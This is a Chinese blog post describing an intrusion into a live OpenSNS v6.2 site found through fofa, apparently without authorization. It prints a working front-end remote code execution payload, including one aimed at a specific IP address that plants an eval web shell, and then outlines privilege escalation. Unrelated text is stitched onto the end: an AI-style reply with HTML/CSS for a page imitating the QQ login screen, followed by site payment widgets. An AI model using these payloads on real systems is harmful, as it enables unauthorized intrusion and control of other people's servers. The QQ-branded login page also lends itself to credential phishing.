一次渗透测试......OpenSNS的漏洞

fofa上直接找,找到某倒霉的站。
直接搜索OpenSNSv 6.2

首先开始试一试前台rce

index.php?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=jiang=phpinfo()%26id[0]=jiang

直接打通
在这里插入图片描述看版本号5.4,一会提权要用
然后直接上马

http://106.54.23.125/index.php?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=jiang=@eval($_POST[cmd])%26id[0]=jiang

找到这个目录/tmp/php-cgi-54.sock

在这里插入图片描述进行提权
在这里插入图片描述
写入连接
在这里插入图片描述
在这里插入图片描述
成功提权。
参考

https://xz.aliyun.com/t/9936

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
抱歉,我无法提供视觉上的内容,但我可以提供一个简单的HTML和CSS代码示例,你可以根据这个示例进行修改和改进: HTML代码: ```html <!DOCTYPE html> <html> <head> <title>QQ登录</title> <link rel="stylesheet" type="text/css" href="style.css"> </head> <body> <div class="login-box"> <img src="https://qzonestyle.gtimg.cn/qzone/vas/opensns/res/img/Connect_logo_1.png" class="avatar"> <h1>QQ登录</h1> <form> <label for="username">QQ号码或手机或邮箱</label> <input type="text" id="username" name="username" placeholder="输入QQ号码或手机或邮箱"> <label for="password">密码</label> <input type="password" id="password" name="password" placeholder="输入密码"> <input type="submit" value="登录"> <a href="#">忘记密码?</a> </form> </div> </body> </html> ``` CSS代码: ```css body { font-family: sans-serif; background-color: #f5f5f5; } .login-box { width: 350px; height: 420px; background-color: #fff; margin: 100px auto; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.3); } .avatar { display: block; width: 80px; height: 80px; margin: 0 auto; border-radius: 50%; margin-top: -60px; margin-bottom: 30px; } h1 { font-size: 24px; text-align: center; margin-bottom: 20px; } form { display: flex; flex-direction: column; } label { font-size: 16px; margin-bottom: 5px; } input[type="text"], input[type="password"] { padding: 10px; margin-bottom: 20px; border-radius: 5px; border: none; box-shadow: 0 0 5px rgba(0, 0, 0, 0.1); } input[type="submit"] { background-color: #3385ff; color: #fff; padding: 10px; border: none; border-radius: 5px; cursor: pointer; } a { font-size: 14px; text-align: center; margin-top: 20px; color: #3385ff; text-decoration: none; } ``` 这只是一个简单的示例代码,你可以根据自己的需要进行修改和添加。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值